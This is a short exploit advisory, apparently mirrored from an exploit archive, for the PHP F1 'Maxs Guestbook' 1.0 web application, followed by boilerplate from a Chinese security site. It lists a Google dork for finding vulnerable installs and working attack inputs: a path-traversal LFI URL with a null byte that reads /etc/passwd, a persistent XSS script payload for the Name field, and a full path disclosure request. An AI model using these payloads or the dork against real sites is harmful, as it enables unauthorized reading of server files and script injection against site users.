# Exploit Title: Maxs Guestbook # Google Dork: "Powered by PHP F1" # Date: 14/03/2012 # Author: n0tch aka andmuchmore # Software Link: http://www.phpf1.com/download.html?dl=18 # Version: 1.0 # Tested on: Windows 7 / Linux(Ubuntu) +[-- LFI --]+ http://localhost/max/index.php?page=../../../../../../../../../../../../../../../../../etc/passwd%00 +[-- Persistent XSS --]+ Vulnerable Field = "Name" Payload syntax: <script>alert('hello')</script> +[-- FPD --]+ http://localhost/max/index.php?page[]=2 +[-- Shoutz --]+ All the belegit crew..
※本站提供的任何内容、代码与服务仅供学习，请勿用于非法用途，否则后果自负
您的会员可兑换次数还剩： 次 本次兑换将消耗 1 次
续费请拨打客服热线，感谢您一直支持 Seebug!
京ICP备10040895号
暂无评论